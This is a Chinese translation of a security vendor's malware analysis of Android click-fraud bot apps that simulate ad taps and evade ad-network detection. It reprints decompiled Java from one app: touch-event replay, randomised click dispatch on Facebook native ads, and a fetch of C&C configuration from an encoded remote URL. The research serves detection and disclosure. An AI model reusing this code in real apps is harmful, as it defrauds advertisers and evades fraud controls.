【技术分享】点击型僵尸app:能够自动点击的安卓僵尸app(上)

http://p5.qhimg.com/t01efd1ce03325c2e39.png

译者興趣使然的小胃

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

 

一、前言

与其他犯罪行为一样,网络犯罪同样受动机驱使,每款恶意软件都有自己的恶意利益。

间谍软件无时无刻在监听着你,勒索软件要求你支付赎金才能解密自己的隐私数据。钓鱼软件会想方设法窃取你的用户名、密码或者账户号码。欺诈安装软件会诱导你安装假冒的软件。广告欺诈软件会显示欺骗性在线广告,诱导用户点击这些广告,利用点击量为开发者创收。最后,还有一种欺诈行为,即Click fraud(点击欺诈)。

Click fraud(CF)是一种滥用在线点击付费(pay-per-click)广告的广告欺诈行为,当用户点击广告后,广告商就需要为发布者支付费用,这对开发者来说是一笔可观的收入。

互动广告局(Interactive Advertising Bureau,IAB)估计广告欺诈行业的市场规模已达82亿美元,而这只是保守估计数值,根据该市场规模,广告欺诈已经是收入最高的网络犯罪行为。

点击型僵尸应用(Clicking Bot Applications,以下简称CBA)会使用各种各样的方法来模拟用户点击行为,谋取利益。它们会斟酌以哪些广告作为目标,如何使用命令与控制(C&C)服务器来控制CBA,以及如何规避常见的检测手段。

虽然CBA的目标通常是以损害广告商以及广告发布者的利益来谋取经济收入,但有些CBA的方法及功能很容易被攻击者利用,用在勒索软件、间谍软件以及其他恶意软件上。

作为Zimperium的核心机器学习引擎,z9 for Mobile Malware专为移动恶意应用领域设计,可以检测之前未知的恶意应用以及oday漏洞利用技术。在验证z9机器学习检测技术对恶意软件的检测效果中,我们发现了几个Android潜在有害应用(Potentially Harmful Applications,PHAs),其中有些应用属于CBA类别,有些应用是恶意软件僵尸网络的一部分,用来控制下层的CBA活动。

根据CBA的近期研究成果,我们明确了在什么情况下能够识别点击行为、发现点击行为所使用的具体方法。我尝试过几种方法,在不断修改CBA的代码后,我终于发现要添加哪些元素才能达到优秀的CBA效果。我也尝试了其他自动点击方法,但在本文中,我不会讨论如何从技术层面进一步改进CBA效果。

在各种CBA中,有一种CBA可以欺骗Facebook Audience Network(Facebook受众网络,为Facebook的广告网络,以下简称FAN)。作为Zimperium恶意软件团队,我们成功识别出这类CBA,并将这类恶意应用报告给Facebook的Traffic Quality and Fraud(流量质量及欺诈)团队。我们提供了应用的具体细节、SDK账户ID,复现了自动点击行为,以便Facebook评估应对措施。Facebook在第一时间就把这些应用从FAN中移除,并将处理结果告知我们。凭借我们提供的研究成果,Facebook得以找到使用相同攻击手法的一组应用程序。我们的研究成果可以帮助Facebook确认带有恶意性质的应用,剔除来自僵尸网络而非真实用户的点击行为。

在下文中,我会提供经过反编译、去混淆处理的代码片段以及相应的Android API函数,你可以使用这些代码来访问URL链接,也可以让CBA来代劳 ?


二、“不劳而获”的恶意软件网络

作为Android防御领域的成员之一,Zimperium恶意软件团队成功识别出属于PHAs类别的几个APK文件。

PHA所引用的文件位于cloudfront.net这个CDN域上,分析这些文件后,我们成功找到了其他几个配置文件以及连接老版Ztorg C&C插件的几个APK。

老版Ztorg C&C的恶意行为包括以下两方面:

1、发送吸费短信(premium SMS)

2、使用JavaScript劫持web页面上的点击动作,生成WAP账单。

最新的恶意软件网络额外添加了CBA及广告软件功能:

1、基于JavaScript的自动点击广告功能以及自动订阅广告功能。

2、使用VirtualApp动态加载应用。所加载的应用为另一款恶意软件。通过更多的广告获取更大的利益。

3、滥用Android的AccessibilityService(无障碍辅助服务)实现自动点击。在自动点击方面,滥用Accessibility Service是最为恶劣的一种行径。通过滥用这种服务,应用程序可以点击包括设备设置在内的所有应用的所有按钮。

4、滥用Android的dispatchTouchEvent API实现自动点击。这种滥用行为恶劣程度“较低”,点击行为只能局限于CBA的广告栏范围内。

在本文中,我们讨论的是最后两种自动点击技术。

http://p5.qhimg.com/t01fca9507d2b029f68.png

 

三、利用dispatchTouchEvent API的CBA

为方便UI测试以及应用开发,开发者可以使用ViewGroup.dispatchTouchEvent,向目标ViewGroup UI组件发送MotionEvent,以模拟用户触摸屏幕行为,这也是非常正常的使用场景。

CBA可以滥用这种技术来点击自己的应用UI组件,因此,这种技术在欺诈领域也能发挥作用,可以点击应用自己的广告栏。

广告框架可以轻松检测到涉嫌使用这类欺诈技术的设备,具体方法如下:

1、观察正常用户使用手指触摸时产生的不同MotionEvent的一些属性,如精度、压力、触摸区域的大致范围以及其他一些标志及属性。经过观察后,很容易就能识别出常量值或者随机值。

2、观察触摸事件的统计分布,如事件时间、空闲时间以及触摸坐标等,这样很容易就能识别出以恒定频率触摸的事件。

3、观察广告被点击区域的统计分布,如图标、标题、赞助商标签、媒体视图、社交内容以及动作等等。正常用户最有可能的情况是稍作迟疑后就会点击“关闭”按钮。

CBA会采取如下方法,尝试规避广告框架的检测机制:

1、当用户点击应用UI组件时,保存与用户最后一次触摸有关的MotionEvent属性。在下一次点击欺诈中复用这些属性。

2、以一定的概率分发点击事件。保存最后一次点击时间,只有时间间隔足够长时,才执行第二次点击动作。

3、使广告UI中被点击区域符合一定的分布模型,其中也包括广告的关闭按钮。

CBA中还包含一些核心功能:

1、如果某个广告因为欺诈检测机制不再有效,那么就选择使用另一个广告SDK。

2、CBA会根据配置信息选择待欺诈的广告对象以及备用的广告对象。

3、CBA在配置信息中定义点击频率、两次点击的最小时间间隔、目标广告及备用广告,由C&C服务器决定是否激活CBA角色。CBA在初始状态下也会包含一个默认的配置信息。

4、除了Facebook移动广告平台以外,CBA广告SDK配置列表中还包括Google推出的AdMob以及DoubleClick广告交易平台。其他广告平台,如MobVista、InMobi以及中国互联网搜索巨头百度推出的DU Ad平台的推广力度非常大,但目前没有证据表明这些平台与自动点击行为有关。

我们来分析一下com.life.read.physical.trian这款应用经过反编译后的代码。

代码中的注释语句由zLabs添加。我们删除了某些代码,以缩短代码篇幅。

1、复用已保存的用户上次触摸事件的相关属性

public class MainActivity extends SlidingFragmentActivity implements View.OnClickListener, View.OnTouchListener {

    public boolean onTouch(View view, MotionEvent motionEvent) {
        if(motionEvent.getAction() == 0) {
            ClickSimulator.getMotionEventInfo(((Context)this), motionEvent);
        }
        return 0;
    }

    public class MotionEventInfo {
        public static MotionEventInfo setInfo(String name) {
            MotionEventInfo options;
            try {
                options = new MotionEventInfo();
                JSONObject JSON_Obj = new JSONObject(name);
                options.deviceId = JSON_Obj.optInt("de");
                options.pressure = JSON_Obj.optDouble("pr");
                options.size = JSON_Obj.optDouble("si");
                options.xprecision = JSON_Obj.optDouble("xp");
                options.yprecision = JSON_Obj.optDouble("yp");
                options.metaState = JSON_Obj.optInt("me");
                options.edgeFlags = JSON_Obj.optInt("ed");
            }
            catch(Exception ex) {
                options = null;
            }
            return options;
        }
    }
}

2、以一定的概率分发点击事件

public class FacebookAdsManager {
  
  private void triggerAutoClick() {
     int randomInt = 10000;
     long cTimeZero = 0;
     if(("1".equals(ConfigurationManager.getAutoClick())) && new Random().nextInt(100) + 1 <= Integer.valueOf(ConfigurationManager.getClickRate()).intValue()) {
         this.simulate_click = this.ctx.getSharedPreferences("simulate_click", 0);
         this.simulate_click_edit = this.simulate_click.edit();
       if(this.simulate_click.getLong("cTime", cTimeZero) - System.currentTimeMillis() >= 60000) {
             new Thread(new Runnable(new Random().nextInt(randomInt) + 5000) {
                 public void run() {
                     try {
                         Thread.sleep(((long)FacebookAdsManager.sleepTime));
                         Message msg = new Message();
                         msg.what = 0x888;
                         FacebookAdsManager.getFacebookAdsManagerHandler(context).sendMessage(msg);
                     }
                     catch(InterruptedException ex) {
                         ex.printStackTrace();
                     }
                 }
             }).start();
         }
     }
  }
}

3、使被选择的广告UI部分满足一定的分布

public class FacebookAdsManager {
  
  public void handleMessage(Message msg) {
       int ten = 10;
       super.handleMessage(msg);
       if(msg.what == 0x888) {
           FacebookAdsManager instance = this.instance;
           Context ctx = FacebookAdsManager.getContext(this.instance);
           FacebookAdsManager.getContext(this.instance);
           FacebookAdsManager.setSimulateClick(instance, ctx.getSharedPreferences("simulate_click", 0));
           FacebookAdsManager.set_simulate_click_edit(this.instance, FacebookAdsManager.getSimulateClickEdit(this.instance));
           FacebookAdsManager.getSimulateClickEdit(this.instance).putLong("cTime", System.currentTimeMillis());
           FacebookAdsManager.getSimulateClickEdit(this.instance).apply();
           int randomNumber = new Random().nextInt(13) + 1;
           if(randomNumber == 1) {
               ClickSimulator.executeAutoClick(FacebookAdsManager.getContext(this.instance), FacebookAdsManager.get_native_ad_title(this.instance));
           }
           else if(randomNumber == 2) {
               ClickSimulator.executeAutoClick(FacebookAdsManager.getContext(this.instance), FacebookAdsManager.get_native_ad_icon(this.instance));
           }
           else {
               if(randomNumber >= 3 && randomNumber <= 8) {
                   ClickSimulator.executeAutoClick(FacebookAdsManager.getContext(this.instance), FacebookAdsManager.get_native_ad_media_xc(this.instance));
                   return;
               }

               if(randomNumber == 9) {
                   ClickSimulator.executeAutoClick(FacebookAdsManager.getContext(this.instance), FacebookAdsManager.get_native_ad_social_context(this.instance));
                   return;
               }

               if(randomNumber == ten) {
                   ClickSimulator.executeAutoClick(FacebookAdsManager.getContext(this.instance), FacebookAdsManager.get_native_ad_body(this.instance));
                   return;
               }

               if(randomNumber <= ten) {
                   return;
               }

               ClickSimulator.executeAutoClick(FacebookAdsManager.getContext(this.instance), FacebookAdsManager.get_native_ad_call_to_action(this.instance));
           }
       }
   }  
}

4、使用已保存的属性及随机属性分发点击事件

public class ClickSimulator {
    public static int getRandomPositionInRange(int min, int max) {
        int halfSize = (max - min) / 2;
        int value = Double.valueOf(Math.sqrt((((double)(max - min))) * 1 / 4) * new Random().nextGaussian() + (((double)halfSize))).intValue() + min;
        if(value < min || value > max) {
            value = halfSize + min;
        }

        return value;
    }

    public static String getSimulateClickID(Context ctx) {
        return ctx.getSharedPreferences("simulate_click", 0).getString("id", "");
    }

    public static void getMotionEventInfo(Context ctx, MotionEvent motionEvent) {
        int deviceId = motionEvent.getDeviceId();
        float pressure = motionEvent.getPressure();
        float size = motionEvent.getSize();
        float Xprecision = motionEvent.getXPrecision();
        float Yprecision = motionEvent.getYPrecision();
        int metaState = motionEvent.getMetaState();
        int edgeFlags = motionEvent.getEdgeFlags();
        MotionEventInfo info = new MotionEventInfo();
        info.set_deviceId(deviceId);
        info.set_pressure(((double)pressure));
        info.set_size(((double)size));
        info.set_xprecision(((double)Xprecision));
        info.set_yprecision(((double)Yprecision));
        info.set_metaState(metaState);
        info.set_edgeFlags(edgeFlags);
        ClickSimulator.setSimulateClickID(ctx, MotionEventInfo.getInto(info));
    }

    public static void setSimulateClickID(Context ctx, String simulate_click_id) {
        SharedPreferences.Editor simulate_click_edit = ctx.getSharedPreferences("simulate_click", 0).edit();
        simulate_click_edit.putString("id", simulate_click_id);
        simulate_click_edit.commit();
    }

    public static void executeAutoClick(Context ctx, View view) {
        Log.v("auto_click", "AutoSimulateClick");
        int viewWidth = view.getWidth();
        int viewHeight = view.getHeight();
        float randomXPosition = ((float)ClickSimulator.getRandomPositionInRange(0, viewWidth));
        float randomYPosition = ((float)ClickSimulator.getRandomPositionInRange(0, viewHeight));
        float randomXPosition_1 = randomXPosition + (((float)ClickSimulator.getRandomPositionInRange(0, 999999))) * 1f / 100000f;
        float randomYPosition_1 = randomYPosition + (((float)ClickSimulator.getRandomPositionInRange(0, 999999))) * 1f / 100000f;

        String clickID = ClickSimulator.getSimulateClickID(ctx);
        Log.v("auto_click", "getMotionEventBean: " + clickID);
        MotionEventInfo info = MotionEventInfo.setInfo(clickID);

        if(info != null) {
            float pressure = Double.valueOf(info.get_pressure()).floatValue();
            randomYPosition = Double.valueOf(info.get_size()).floatValue();
            float Xprecision = Double.valueOf(info.get_xprecision()).floatValue();
            float Yprecision = Double.valueOf(info.get_yprecision()).floatValue();
            int metaState = info.get_metaState();
            int deviceId = info.get_deviceId();
            int edgeFlags = info.get_edgeFlags();
            float size = randomYPosition + ((((float)ClickSimulator.getRandomPositionInRange(0, 1764707))) * 1f / 1000000000f - 0.000865f);
            long downTime = SystemClock.uptimeMillis();
            int randomCount = ClickSimulator.randomValueBetween(0, 4);
            MotionEvent motionEvent = MotionEvent.obtain(downTime, downTime, 0, randomXPosition_1, randomYPosition_1, pressure, size, metaState, Xprecision, Yprecision, deviceId, edgeFlags);
            view.dispatchTouchEvent(motionEvent);
            int count = 0;
            float size_1 = size;
            long eventTime = downTime;
            while(count < randomCount) {
                eventTime += ((long)ClickSimulator.getRandomPositionInRange(15, 43));
                if(count == randomCount - 1) {
                    size_1 = size;
                }
                else {
                    size_1 += (((float)ClickSimulator.getRandomPositionInRange(0, 1764707))) * 1f / 1000000000f;
                }

                MotionEvent motionEvent_1 = MotionEvent.obtain(downTime, eventTime, 2, randomXPosition_1, randomYPosition_1, pressure, size_1, metaState, Xprecision, Yprecision, deviceId, edgeFlags);
                view.dispatchTouchEvent(motionEvent_1);
                motionEvent_1.recycle();
                ++count;
            }

            MotionEvent motionEvent_2 = MotionEvent.obtain(downTime, (((long)ClickSimulator.getRandomPositionInRange(15, 43))) + eventTime, 1, randomXPosition_1, randomYPosition_1, pressure, size, metaState, Xprecision, Yprecision, deviceId, edgeFlags);
            view.dispatchTouchEvent(motionEvent_2);
            motionEvent.recycle();
            motionEvent_2.recycle();
        }
    }

    public static int randomValueBetween(int min, int max) {
        return Double.valueOf(Math.random() * (((double)(max - min)))).intValue() + min;
    }
}

5、CBA激活配置

public class ConfigurationManager {
  ConfigurationManager.weight = "1,2,3";
  ConfigurationManager.auto_unlock = "0";
  ConfigurationManager.auto_click = "0";
  ConfigurationManager.unlock_rate = "30";
  ConfigurationManager.clickRate = "20";
  ConfigurationManager.boost_rate = "70";
  ConfigurationManager.guideRate = "70";
  ConfigurationManager.mainRate = "70";
  ConfigurationManager.backMainRate = "20";


  //EncodedStrings.Conf_URL = //"KlxjwlUOCqlLgV3u9mMAxIXFLiBVC3kFgD61kUQ9LrgsCXaRrakpA6w6dz6fYHnmgD3szNftnlw=";  
  // http://txt.kuxwmuzuz.com/app/phonecleanerpro/conf.txt
  URLConnection connection = new URL(AESDecoder.AESDecode(EncodedStrings.AES_Key, EncodedStrings.Conf_URL)).openConnection();
  BufferedReader br = new BufferedReader(new InputStreamReader(((HttpURLConnection)connection).getInputStream()));
  StringBuilder sb = new StringBuilder();
  while(true) {
     String line = br.readLine();
     if(line == null) {
         break;
     }

     sb.append(line);
  }

  if(!TextUtils.isEmpty(sb.toString())) {
     JSONObject JSON_Obj = new JSONObject(sb.toString());
     ConfigurationManager.setWeight(JSON_Obj.getString("weight"));
     ConfigurationManager.setAutoUnlock(JSON_Obj.optString("auto_unlock"));
     ConfigurationManager.setAutoClick(JSON_Obj.optString("auto_click"));
     ConfigurationManager.setUnlockRate(JSON_Obj.optString("unlock_rate"));
     ConfigurationManager.setClickRate(JSON_Obj.optString("click_rate"));
     ConfigurationManager.setBoostRate(JSON_Obj.optString("boost_rate"));
     ConfigurationManager.setGuideRate(JSON_Obj.optString("guide_rate"));
     ConfigurationManager.setMainRate(JSON_Obj.optString("main_rate"));
     ConfigurationManager.setBackMainRate(JSON_Obj.optString("back_main_rate"));
  }
}

6、CBA广告配置

public class ConfigurationManager {
  ConfigurationManager.weight = "1,2,3";
  ConfigurationManager.auto_unlock = "0";
  ConfigurationManager.auto_click = "0";
  ConfigurationManager.unlock_rate = "30";
  ConfigurationManager.clickRate = "20";
  ConfigurationManager.boost_rate = "70";
  ConfigurationManager.guideRate = "70";
  ConfigurationManager.mainRate = "70";
  ConfigurationManager.backMainRate = "20";


    //EncodedStrings.Conf_URL = //"KlxjwlUOCqlLgV3u9mMAxIXFLiBVC3kFgD61kUQ9LrgsCXaRrakpA6w6dz6fYHnmgD3szNftnlw=";  
  // http://txt.kuxwmuzuz.com/app/phonecleanerpro/conf.txt
  URLConnection connection = new URL(AESDecoder.AESDecode(EncodedStrings.AES_Key, EncodedStrings.Conf_URL)).openConnection();
  BufferedReader br = new BufferedReader(new InputStreamReader(((HttpURLConnection)connection).getInputStream()));
  StringBuilder sb = new StringBuilder();
  while(true) {
     String line = br.readLine();
     if(line == null) {
         break;
     }

     sb.append(line);
  }

  if(!TextUtils.isEmpty(sb.toString())) {
     JSONObject JSON_Obj = new JSONObject(sb.toString());
     ConfigurationManager.setWeight(JSON_Obj.getString("weight"));
     ConfigurationManager.setAutoUnlock(JSON_Obj.optString("auto_unlock"));
     ConfigurationManager.setAutoClick(JSON_Obj.optString("auto_click"));
     ConfigurationManager.setUnlockRate(JSON_Obj.optString("unlock_rate"));
     ConfigurationManager.setClickRate(JSON_Obj.optString("click_rate"));
     ConfigurationManager.setBoostRate(JSON_Obj.optString("boost_rate"));
     ConfigurationManager.setGuideRate(JSON_Obj.optString("guide_rate"));
     ConfigurationManager.setMainRate(JSON_Obj.optString("main_rate"));
     ConfigurationManager.setBackMainRate(JSON_Obj.optString("back_main_rate"));
  }
}

7、CBA备用广告机制

public void loadFacebokAds(final Context ctx, final RelativeLayout layout, final int count) {

   this.native_ad_layout = LayoutInflater.from(ctx).inflate(layout.native_ad_layout, ((ViewGroup)layout), false);
   layout.removeAllViews();
   layout.addView(this.native_ad_layout);
   this.native_ad_icon = this.native_ad_layout.findViewById(id.native_ad_icon);
   this.native_ad_title = this.native_ad_layout.findViewById(id.native_ad_title);
   this.native_ad_media_xc = this.native_ad_layout.findViewById(id.native_ad_media_xc);
   // load all other ad parts...

   View img_cancel = this.native_ad_layout.findViewById(id.img_cancel);
   // if no ads components are previously  found

   if(FacebookAdsManager.cow_arraylist == null || FacebookAdsManager.cow_arraylist.size() == 0) {

       Log.v("all_sdk", "facebook原生广告start"); //facebook native ads strt
       this.nativeAd = new NativeAd(ctx, AESDecoder.AESDecode(EncodedStrings.AES_Key, EncodedStrings.native_ad_FB_id_1));
       this.nativeAd.setAdListener(new AdListener(ctx, count, layout, ((ImageView)img_cancel)) {


           public void onAdLoaded(Ad ad) {
               Log.v("all_sdk", "facebook原生广告load ok");

               if(FacebookAdsManager.getNativeAd(FacebookAdsManager.instance) != null) {
                   FacebookAdsManager.get_native_ad_title(FacebookAdsManager.instance).setText(FacebookAdsManager.getNativeAd(FacebookAdsManager.instance).getAdTitle());
                   FacebookAdsManager.get_native_ad_social_context(FacebookAdsManager.instance).setText(FacebookAdsManager.getNativeAd(FacebookAdsManager.instance).getAdSocialContext());
                   FacebookAdsManager.get_native_ad_body(FacebookAdsManager.instance).setText(FacebookAdsManager.getNativeAd(FacebookAdsManager.instance).getAdBody());
                   // load all other ad parts...

                   SharedPreferences.Editor native_ad_edit = this.getSharedPreferences("native_ad", 0).edit();
                   native_ad_edit.putLong("show_native_ad_time", System.currentTimeMillis());
                   native_ad_edit.apply();
                   FacebookAdsManager.getNativeAd(FacebookAdsManager.this).registerViewForInteraction(this.c, ((List)list));
                   FacebookAdsManager.triggerAutoClick(FacebookAdsManager.instance);
               }
               else {
                   if(count == 2) {
                       return;
                   }
                   //load the app other ads for CBA activity
                   GeneralAdsManger.getInstance().loadAd(ctx, layout, count + 1);
               }
           }

           public void onError(Ad ad, AdError adError) {
               Log.v("all_sdk", "facebook原生广告错误" + adError.getErrorMessage());
               HashMap errors = new HashMap();
               errors.put("facebook_native_show_error", adError.getErrorMessage());

               if(count != 2) {
                   GeneralAdsManger.getInstance().loadAd(ctx, layout, count + 1);
               }
           }
       });

   }
   else {
       FacebookAdsManager.cow_arraylist.get(0).setNativeAdEnabled(true);
       this.native_ad_title.setText(FacebookAdsManager.cow_arraylist.get(0).getNativeAd().getAdTitle());
       this.native_ad_social_context.setText(FacebookAdsManager.cow_arraylist.get(0).getNativeAd().getAdSocialContext());

       // set content to the ads parts...

       this.native_ad_layout.findViewById(id.ad_choices_container).addView(new AdChoicesView(ctx, FacebookAdsManager.cow_arraylist.get(0).getNativeAd(), true));
       ArrayList view_list = new ArrayList();
       ((List)view_list).add(this.native_ad_title);
       ((List)view_list).add(this.native_ad_call_to_action);
       ((List)view_list).add(this.native_ad_icon);

       // add the ads components

       if(new Random().nextInt(100) + 1 <= Integer.valueOf(ConfigurationManager.getGuideRate()).intValue()) {
           ((List)view_list).add(img_cancel);
       }
       else {
           ((ImageView)img_cancel).setOnClickListener(new View.OnClickListener(layout) {
               public void onClick(View view) {
                   this.view.setVisibility(8);  // GONE
               }
           });
       }

       if(FacebookAdsManager.cow_arraylist.get(0).getNativeAd() != null) {
           FacebookAdsManager.cow_arraylist.get(0).getNativeAd().registerViewForInteraction(((View)layout), ((List)view_list));
           this.triggerAutoClick();
       }
       else if(count != 2) {
           //load the app other ads for CBA activity
           GeneralAdsManger.getInstance().loadAd(ctx, layout, count + 1);
       }

       SharedPreferences.Editor native_ad_editor = ctx.getSharedPreferences("native_ad", 0).edit();
       native_ad_editor.putLong("show_native_ad_time", System.currentTimeMillis());
       native_ad_editor.apply();
       FacebookAdsManager.cow_arraylist.remove(0);
   }
}

(完)